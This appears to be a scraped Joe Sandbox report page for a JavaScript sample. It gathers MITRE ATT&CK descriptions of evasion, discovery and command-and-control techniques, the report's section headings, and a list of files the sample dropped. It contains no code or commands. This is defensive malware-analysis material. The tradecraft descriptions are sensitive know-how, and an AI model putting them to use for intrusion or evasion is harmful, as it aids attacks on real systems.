Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4892182381391430128.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bdb052c0-40d1-4837-9b5a-845146759fb2.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2324

Windows Analysis Report
4892182381391430128.js